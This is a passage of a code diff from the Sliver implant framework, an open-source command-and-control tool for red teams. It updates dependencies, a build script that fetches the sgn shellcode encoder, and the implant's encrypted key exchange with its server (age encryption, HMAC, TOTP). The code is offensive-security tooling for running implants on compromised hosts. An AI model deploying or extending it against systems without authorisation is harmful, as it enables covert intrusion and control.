+echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
+
+# MacOS (arm64)
+echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
+curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
+
 # end
 echo -e "clean up: $WORK_DIR"
 rm -rf $WORK_DIR

go.mod

@@ -1,119 +1,126 @@
 module github.com/bishopfox/sliver
 
-go 1.17
+go 1.18
 
 replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
 
 require (
-	github.com/AlecAivazis/survey/v2 v2.2.2
+	filippo.io/age v1.1.1
+	github.com/AlecAivazis/survey/v2 v2.3.6
 	github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
 	github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
 	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/alecthomas/chroma v0.8.1
-	github.com/cheggaaa/pb/v3 v3.0.5
+	github.com/Ne0nd0g/go-clr v1.0.3
+	github.com/alecthomas/chroma v0.10.0
+	github.com/cheggaaa/pb/v3 v3.1.2
+	github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9
+	github.com/chromedp/chromedp v0.9.1
 	github.com/desertbit/columnize v2.1.0+incompatible
 	github.com/desertbit/go-shlex v0.1.1
 	github.com/desertbit/grumble v1.1.1
-	github.com/fatih/color v1.12.0
-	github.com/gofrs/uuid v3.3.0+incompatible
+	github.com/desertbit/readline v1.5.1
+	github.com/fatih/color v1.15.0
+	github.com/gofrs/uuid v4.4.0+incompatible
 	github.com/google/uuid v1.3.0
 	github.com/gorilla/mux v1.8.0
-	github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
-	github.com/jedib0t/go-pretty/v6 v6.2.4
+	github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
+	github.com/jedib0t/go-pretty/v6 v6.4.6
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/lesnuages/snitch v0.6.0
-	github.com/mattn/go-sqlite3 v1.14.12
-	github.com/miekg/dns v1.1.35
+	github.com/mattn/go-sqlite3 v1.14.16
+	github.com/miekg/dns v1.1.54
 	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
-	github.com/pquerna/otp v1.3.0
-	github.com/shirou/gopsutil/v3 v3.21.10
-	github.com/sirupsen/logrus v1.8.1
-	github.com/spf13/cobra v1.1.1
-	github.com/stretchr/testify v1.7.0
-	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
-	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
-	golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
-	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
-	golang.org/x/text v0.3.7
+	github.com/pquerna/otp v1.4.0
+	github.com/sirupsen/logrus v1.9.2
+	github.com/spf13/cobra v1.7.0
+	github.com/stretchr/testify v1.8.1
+	github.com/things-go/go-socks5 v0.0.3
+	github.com/xlab/treeprint v1.2.0
+	github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
+	golang.org/x/crypto v0.9.0
+	golang.org/x/net v0.10.0
+	golang.org/x/sys v0.8.0
+	golang.org/x/term v0.8.0
+	golang.org/x/text v0.9.0
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
 	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
-	google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
-	google.golang.org/protobuf v1.27.1
+	google.golang.org/grpc v1.55.0
+	google.golang.org/protobuf v1.30.0
 	gopkg.in/AlecAivazis/survey.v1 v1.8.8
-	gorm.io/driver/mysql v1.0.3
-	gorm.io/driver/postgres v1.0.5
-	gorm.io/driver/sqlite v1.1.3
-	gorm.io/gorm v1.21.14
-	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
-	modernc.org/sqlite v1.16.0
+	gorm.io/driver/mysql v1.5.1
+	gorm.io/driver/postgres v1.5.2
+	gorm.io/driver/sqlite v1.5.1
+	gorm.io/gorm v1.25.1
+	gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
+	modernc.org/sqlite v1.22.1
 )
 
 require (
 	github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
 	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
 	github.com/Microsoft/go-winio v0.5.1 // indirect
-	github.com/StackExchange/wmi v1.2.1 // indirect
 	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
-	github.com/VividCortex/ewma v1.1.1 // indirect
+	github.com/VividCortex/ewma v1.2.0 // indirect
 	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
 	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
 	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
-	github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
+	github.com/chromedp/sysutil v1.0.0 // indirect
 	github.com/davecgh/go-spew v1.1.1 // indirect
 	github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
 	github.com/desertbit/closer/v3 v3.1.2 // indirect
-	github.com/desertbit/readline v1.5.1 // indirect
-	github.com/dlclark/regexp2 v1.2.0 // indirect
+	github.com/dlclark/regexp2 v1.4.0 // indirect
+	github.com/dustin/go-humanize v1.0.1 // indirect
 	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
-	github.com/go-ole/go-ole v1.2.6 // indirect
-	github.com/go-sql-driver/mysql v1.5.0 // indirect
-	github.com/golang/protobuf v1.5.2 // indirect
+	github.com/go-sql-driver/mysql v1.7.0 // indirect
+	github.com/gobwas/httphead v0.1.0 // indirect
+	github.com/gobwas/pool v0.2.1 // indirect
+	github.com/gobwas/ws v1.1.0 // indirect
+	github.com/golang/protobuf v1.5.3 // indirect
 	github.com/google/btree v1.0.1 // indirect
 	github.com/hashicorp/errwrap v1.1.0 // indirect
 	github.com/hashicorp/go-multierror v1.1.1 // indirect
-	github.com/inconshreveable/mousetrap v1.0.0 // indirect
-	github.com/jackc/chunkreader/v2 v2.0.1 // indirect
-	github.com/jackc/pgconn v1.7.0 // indirect
-	github.com/jackc/pgio v1.0.0 // indirect
+	github.com/hashicorp/go-uuid v1.0.2 // indirect
+	github.com/inconshreveable/mousetrap v1.1.0 // indirect
 	github.com/jackc/pgpassfile v1.0.0 // indirect
-	github.com/jackc/pgproto3/v2 v2.0.5 // indirect
-	github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
-	github.com/jackc/pgtype v1.5.0 // indirect
-	github.com/jackc/pgx/v4 v4.9.0 // indirect
+	github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
+	github.com/jackc/pgx/v5 v5.3.1 // indirect
+	github.com/jcmturner/gofork v1.0.0 // indirect
 	github.com/jinzhu/inflection v1.0.0 // indirect
-	github.com/jinzhu/now v1.1.2 // indirect
+	github.com/jinzhu/now v1.1.5 // indirect
+	github.com/josharian/intern v1.0.0 // indirect
 	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
-	github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
-	github.com/mattn/go-colorable v0.1.8 // indirect
-	github.com/mattn/go-isatty v0.0.13 // indirect
-	github.com/mattn/go-runewidth v0.0.9 // indirect
+	github.com/mailru/easyjson v0.7.7 // indirect
+	github.com/mattn/go-colorable v0.1.13 // indirect
+	github.com/mattn/go-isatty v0.0.17 // indirect
+	github.com/mattn/go-runewidth v0.0.13 // indirect
 	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
-	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
-	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
-	github.com/sergi/go-diff v1.1.0 // indirect
+	github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
+	github.com/rivo/uniseg v0.2.0 // indirect
+	github.com/rogpeppe/go-internal v1.10.0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
-	golang.org/x/mod v0.5.1 // indirect
+	golang.org/x/mod v0.8.0 // indirect
 	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
-	golang.org/x/tools v0.1.9 // indirect
-	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+	golang.org/x/tools v0.6.0 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
-	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
-	google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
-	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
-	gopkg.in/yaml.v3 v3.0.0 // indirect
-	lukechampine.com/uint128 v1.1.1 // indirect
-	modernc.org/cc/v3 v3.35.24 // indirect
-	modernc.org/ccgo/v3 v3.15.18 // indirect
-	modernc.org/libc v1.14.12 // indirect
-	modernc.org/mathutil v1.4.1 // indirect
-	modernc.org/memory v1.0.7 // indirect
-	modernc.org/opt v0.1.1 // indirect
-	modernc.org/strutil v1.1.1 // indirect
-	modernc.org/token v1.0.0 // indirect
+	google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect
+	gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
+	gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
+	gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
+	gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
+	gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
+	gopkg.in/yaml.v3 v3.0.1 // indirect
+	lukechampine.com/uint128 v1.2.0 // indirect
+	modernc.org/cc/v3 v3.40.0 // indirect
+	modernc.org/ccgo/v3 v3.16.13 // indirect
+	modernc.org/libc v1.22.5 // indirect
+	modernc.org/mathutil v1.5.0 // indirect
+	modernc.org/memory v1.5.0 // indirect
+	modernc.org/opt v0.1.3 // indirect
+	modernc.org/strutil v1.1.3 // indirect
+	modernc.org/token v1.0.1 // indirect
 )

implant/go-mod

@@ -1,9 +1,11 @@
 module github.com/bishopfox/sliver
 
-go 1.17
+go 1.18
 
 require (
+	filippo.io/age v1.1.1
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
+	github.com/Ne0nd0g/go-clr v1.0.3
 	github.com/gofrs/uuid v4.0.0+incompatible
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
@@ -12,30 +14,39 @@ require (
 	github.com/pquerna/otp v1.3.0
 	github.com/stretchr/testify v1.7.0
 	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
-	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
-	golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
+	github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
+	golang.org/x/crypto v0.4.0
+	golang.org/x/net v0.3.0
+	golang.org/x/sys v0.3.0
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
-	google.golang.org/protobuf v1.26.0
-	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+	google.golang.org/protobuf v1.28.0
+	gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
 )
 
 require (
 	github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
 	github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
-	github.com/Microsoft/go-winio v0.5.0 // indirect
+	github.com/Microsoft/go-winio v0.5.1 // indirect
 	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
 	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
 	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
 	github.com/davecgh/go-spew v1.1.1 // indirect
 	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/google/btree v1.0.1 // indirect
+	github.com/google/go-cmp v0.5.8 // indirect
+	github.com/hashicorp/go-uuid v1.0.2 // indirect
+	github.com/jcmturner/gofork v1.0.0 // indirect
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
-	golang.org/x/mod v0.4.2 // indirect
+	golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
+	golang.org/x/text v0.5.0 // indirect
 	golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
-	golang.org/x/tools v0.1.7 // indirect
-	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+	golang.org/x/tools v0.1.12 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
-	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
+	gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
+	gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
+	gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
+	gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
+	gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
+	gopkg.in/yaml.v3 v3.0.1 // indirect
 )

implant/scripts/update-vendor.sh

@@ -1,17 +1,31 @@
-#!/bin/sh
+#!/bin/bash
 
 set -e
 
+cleanup() {
+  [ ! -z "$1" ] && echo "Error $1 occurred on $2"
+
+  mv "${tempDir}/vendor" "${pwd}/../vendor"
+  mv "${tempDir}/go.mod" "${pwd}/../go-mod"
+  mv "${tempDir}/go.sum" "${pwd}/../go-sum"
+  cd ..
+  rm -rf "$tempDir"
+}
+
 # we are expecting from run from sliver/implant via 'go generate'
 cd scripts
 
 # copy Go module related files
 pwd="$(pwd)"
-tempDir="$(mktemp -d -p $pwd)"
+tempDir="$(mktemp -d)"
 cp ../go-mod "${tempDir}/go.mod"
 cp ../go-sum "${tempDir}/go.sum"
 mv ../vendor "${tempDir}/vendor"
 
+
+# Trap when a build fails so we can reset the environment
+trap 'cleanup $? $LINENO' ERR
+
 # build Go file with all imported packages
 go run update-vendor.go "$tempDir"
 cd "$tempDir"
@@ -20,8 +34,4 @@ go mod tidy -compat=1.17
 go mod vendor
 
 # move updated files back
-mv "${tempDir}/vendor" ../../vendor
-mv "${tempDir}/go.mod" ../../go-mod
-mv "${tempDir}/go.sum" ../../go-sum
-cd ..
-rm -rf "$tempDir"
+cleanup

implant/sliver/cryptography/crypto.go

@@ -20,7 +20,6 @@ package cryptography
 
 import (
 	"bytes"
-	"compress/gzip"
 	"crypto/rand"
 	"crypto/sha256"
 	"crypto/x509"
@@ -28,6 +27,7 @@ import (
 	"errors"
 	"io"
 	"os"
+	"strings"
 	"sync"
 	"time"
 
@@ -35,10 +35,11 @@ import (
 	"log"
 	// {{end}}
 
+	"filippo.io/age"
+	"github.com/bishopfox/sliver/implant/sliver/encoders"
 	"github.com/pquerna/otp"
 	"github.com/pquerna/otp/totp"
 	"golang.org/x/crypto/chacha20poly1305"
-	"golang.org/x/crypto/nacl/box"
 )
 
 var (
@@ -53,34 +54,61 @@ var (
 	ErrReplayAttack = errors.New("replay attack detected")
 	// ErrDecryptFailed
 	ErrDecryptFailed = errors.New("decryption failed")
+
+	ageMsgPrefix        = []byte("age-encryption.org/v1\n-> X25519 ")
+	agePublicKeyPrefix  = "age1"
+	agePrivateKeyPrefix = "AGE-SECRET-KEY-1"
 )
 
-// ECCKeyPair - Holds the public/private key pair
-type ECCKeyPair struct {
-	Public  *[32]byte
-	Private *[32]byte
+// AgeKeyPair - Holds the public/private key pair
+type AgeKeyPair struct {
+	Public  string
+	Private string
 }
 
-// ECCEncrypt - Encrypt using Nacl Box
-func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaintext []byte) ([]byte, error) {
-	var nonce [24]byte
-	if _, err := io.ReadFull(rand.Reader, nonce[:]); err != nil {
+// AgeEncrypt - Encrypt using Nacl Box
+func AgeEncrypt(recipientPublicKey string, plaintext []byte) ([]byte, error) {
+	if !strings.HasPrefix(recipientPublicKey, agePublicKeyPrefix) {
+		recipientPublicKey = agePublicKeyPrefix + recipientPublicKey
+	}
+	recipient, err := age.ParseX25519Recipient(recipientPublicKey)
+	if err != nil {
 		return nil, err
 	}
-	encrypted := box.Seal(nonce[:], plaintext, &nonce, recipientPublicKey, senderPrivateKey)
-	return encrypted, nil
+	buf := bytes.NewBuffer([]byte{})
+	stream, err := age.Encrypt(buf, recipient)
+	if err != nil {
+		return nil, err
+	}
+	if _, err := stream.Write(plaintext); err != nil {
+		return nil, err
+	}
+	if err := stream.Close(); err != nil {
+		return nil, err
+	}
+	return bytes.TrimPrefix(buf.Bytes(), ageMsgPrefix), nil
 }
 
-// ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
-func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
+// AgeDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
+func AgeDecrypt(recipientPrivateKey string, ciphertext []byte) ([]byte, error) {
 	if len(ciphertext) < 24 {
 		return nil, errors.New("ciphertext too short")
 	}
-	var decryptNonce [24]byte
-	copy(decryptNonce[:], ciphertext[:24])
-	plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
-	if !ok {
-		return nil, ErrDecryptFailed
+	if !strings.HasPrefix(recipientPrivateKey, agePrivateKeyPrefix) {
+		recipientPrivateKey = agePrivateKeyPrefix + recipientPrivateKey
+	}
+	identity, err := age.ParseX25519Identity(recipientPrivateKey)
+	if err != nil {
+		return nil, err
+	}
+	buf := bytes.NewBuffer(append(ageMsgPrefix, ciphertext...))
+	stream, err := age.Decrypt(buf, identity)
+	if err != nil {
+		return nil, err
+	}
+	plaintext, err := io.ReadAll(stream)
+	if err != nil {
+		return nil, err
 	}
 	return plaintext, nil
 }
@@ -107,7 +135,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
 	if err != nil {
 		return nil, err
 	}
-	plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
+	plaintext = bytes.NewBuffer(encoders.GzipBuf(plaintext)).Bytes()
 	nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
 	if _, err := rand.Read(nonce); err != nil {
 		return nil, err
@@ -134,7 +162,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
 	if err != nil {
 		return nil, err
 	}
-	return GunzipBuf(plaintext), nil
+	return encoders.GunzipBuf(plaintext), nil
 }
 
 // NewCipherContext - Wrapper around creating a cipher context from a key
@@ -182,6 +210,15 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
 	return ciphertext, nil
 }
 
+// GetExactOTPCode - Get the OTP code for a specific timestamp
+func GetExactOTPCode(timestamp time.Time) string {
+	code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
+	// {{if .Config.Debug}}
+	log.Printf("TOTP Code (%s): %s", timestamp, code)
+	// {{end}}
+	return code
+}
+
 // GetOTPCode - Get the current OTP code
 func GetOTPCode() string {
 	now := time.Now().UTC()
@@ -239,19 +276,19 @@ func RootOnlyVerifyCertificate(caCertPEM string, rawCerts [][]byte, _ [][]*x509.
 	return nil
 }
 
-// GzipBuf - Gzip a buffer
-func GzipBuf(data []byte) []byte {
-	var buf bytes.Buffer
-	zip := gzip.NewWriter(&buf)
-	zip.Write(data)
-	zip.Close()
-	return buf.Bytes()
-}
-
-// GunzipBuf - Gunzip a buffer
-func GunzipBuf(data []byte) []byte {
-	zip, _ := gzip.NewReader(bytes.NewBuffer(data))
-	var buf bytes.Buffer
-	buf.ReadFrom(zip)
-	return buf.Bytes()
-}
+//// GzipBuf - Gzip a buffer
+//func GzipBuf(data []byte) []byte {
+//	var buf bytes.Buffer
+//	zip := gzip.NewWriter(&buf)
+//	zip.Write(data)
+//	zip.Close()
+//	return buf.Bytes()
+//}
+//
+//// GunzipBuf - Gunzip a buffer
+//func GunzipBuf(data []byte) []byte {
+//	zip, _ := gzip.NewReader(bytes.NewBuffer(data))
+//	var buf bytes.Buffer
+//	buf.ReadFrom(zip)
+//	return buf.Bytes()
+//}

implant/sliver/cryptography/implant.go

@@ -19,6 +19,7 @@ package cryptography
 */
 
 import (
+	"crypto/hmac"
 	"crypto/sha256"
 	"encoding/base64"
 	"errors"
@@ -59,29 +60,22 @@ func SetSecrets(newEccPublicKey, newEccPrivateKey, newEccPublicKeySignature, new
 
 // {{end}}
 
-// GetECCKeyPair - Get the implant's key pair
-func GetECCKeyPair() *ECCKeyPair {
-	publicRaw, err := base64.RawStdEncoding.DecodeString(ECCPublicKey)
-	if err != nil {
-		panic("no public key")
-	}
-	var public [32]byte
-	copy(public[:], publicRaw)
-	privateRaw, err := base64.RawStdEncoding.DecodeString(eccPrivateKey)
-	if err != nil {
-		panic("no private key")
-	}
-	var private [32]byte
-	copy(private[:], privateRaw)
-	return &ECCKeyPair{
-		Public:  &public,
-		Private: &private,
+// GetPeerAgeKeyPair - Get the implant's key pair
+func GetPeerAgeKeyPair() *AgeKeyPair {
+	return &AgeKeyPair{
+		Public:  ECCPublicKey,
+		Private: eccPrivateKey,
 	}
 }
 
+// GetServerAgePublicKey - Get the decoded server public key
+func GetServerAgePublicKey() string {
+	return eccServerPublicKey
+}
+
 // MinisignVerify - Verify a minisign signature
 func MinisignVerify(message []byte, signature string) bool {
-	serverPublicKey, err := DecodeMinisignPublicKey(minisignServerPublicKey)
+	serverMinisignPublicKey, err := DecodeMinisignPublicKey(minisignServerPublicKey)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("failed to decode minisign public key: %s", err)
@@ -95,7 +89,7 @@ func MinisignVerify(message []byte, signature string) bool {
 		// {{end}}
 		return false
 	}
-	valid, err := serverPublicKey.Verify(message, sig)
+	valid, err := serverMinisignPublicKey.Verify(message, sig)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("minisign signature validation error: %s", err)
@@ -119,50 +113,59 @@ func GetServerECCPublicKey() *[32]byte {
 	return &public
 }
 
-// ECCEncryptToServer - Encrypt using the server's public key
-func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
-	recipientPublicKey := GetServerECCPublicKey()
-	if recipientPublicKey == nil {
+// AgeKeyExToServer - Encrypt using the server's public key
+func AgeKeyExToServer(plaintext []byte) ([]byte, error) {
+	recipientPublicKey := GetServerAgePublicKey()
+	if recipientPublicKey == "" {
 		panic("no server public key")
 	}
-	keyPair := GetECCKeyPair()
-	ciphertext, err := ECCEncrypt(recipientPublicKey, keyPair.Private, plaintext)
+
+	peerKeyPair := GetPeerAgeKeyPair()
+
+	// First HMAC the plaintext with the hash of the implant's private key
+	// this ensures that the server is talking to a valid implant
+	privateDigest := sha256.New()
+	privateDigest.Write([]byte(peerKeyPair.Private))
+	mac := hmac.New(sha256.New, privateDigest.Sum(nil))
+	mac.Write(plaintext)
+
+	// Next encrypt using server's Age public key
+	ciphertext, err := AgeEncrypt(recipientPublicKey, append(mac.Sum(nil), plaintext...))
 	if err != nil {
 		return nil, err
 	}
-	digest := sha256.Sum256((*keyPair.Public)[:])
+
+	// Sender includes hash of it's implant specific peer public key
+	publicDigest := sha256.Sum256([]byte(peerKeyPair.Public))
 	msg := make([]byte, 32+len(ciphertext))
-	copy(msg, digest[:])
+	copy(msg, publicDigest[:])
 	copy(msg[32:], ciphertext)
 	return msg, nil
 }
 
-// ECCEncryptToPeer - Encrypt using the peer's public key
-func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
+// AgeEncryptToPeer - Encrypt using the peer's public key
+func AgeEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
 	valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
 	if !valid {
 		return nil, ErrInvalidPeerKey
 	}
-	var peerPublicKey [32]byte
-	copy(peerPublicKey[:], recipientPublicKey)
-	keyPair := GetECCKeyPair()
-	ciphertext, err := ECCEncrypt(&peerPublicKey, keyPair.Private, plaintext)
+	ciphertext, err := AgeEncrypt(string(recipientPublicKey), plaintext)
 	if err != nil {
 		return nil, err
 	}
 	return ciphertext, nil
 }
 
-// ECCDecryptFromPeer - Decrypt a message from a peer
-func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
+// AgeDecryptFromPeer - Decrypt a message from a peer
+func AgeDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
 	valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
 	if !valid {
 		return nil, ErrInvalidPeerKey
 	}
 	var peerPublicKey [32]byte
 	copy(peerPublicKey[:], senderPublicKey)
-	keyPair := GetECCKeyPair()
-	plaintext, err := ECCDecrypt(&peerPublicKey, keyPair.Private, ciphertext)
+	keyPair := GetPeerAgeKeyPair()
+	plaintext, err := AgeDecrypt(keyPair.Private, ciphertext)
 	if err != nil {
 		return nil, err
 	}

implant/sliver/cryptography/tlskeys.go

@@ -0,0 +1,42 @@
+package cryptography
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"os"
+)
+
+var (
+	// TLSKeyLogger - File descriptor for logging TLS keys
+	TLSKeyLogger = newKeyLogger()
+)
+
+func newKeyLogger() *os.File {
+	// {{if .Config.Debug}}
+	keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
+	if present {
+		keyFile, err := os.OpenFile(keyFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
+		if err != nil {
+			return nil
+		}
+		return keyFile
+	}
+	// {{end}}
+	return nil
+}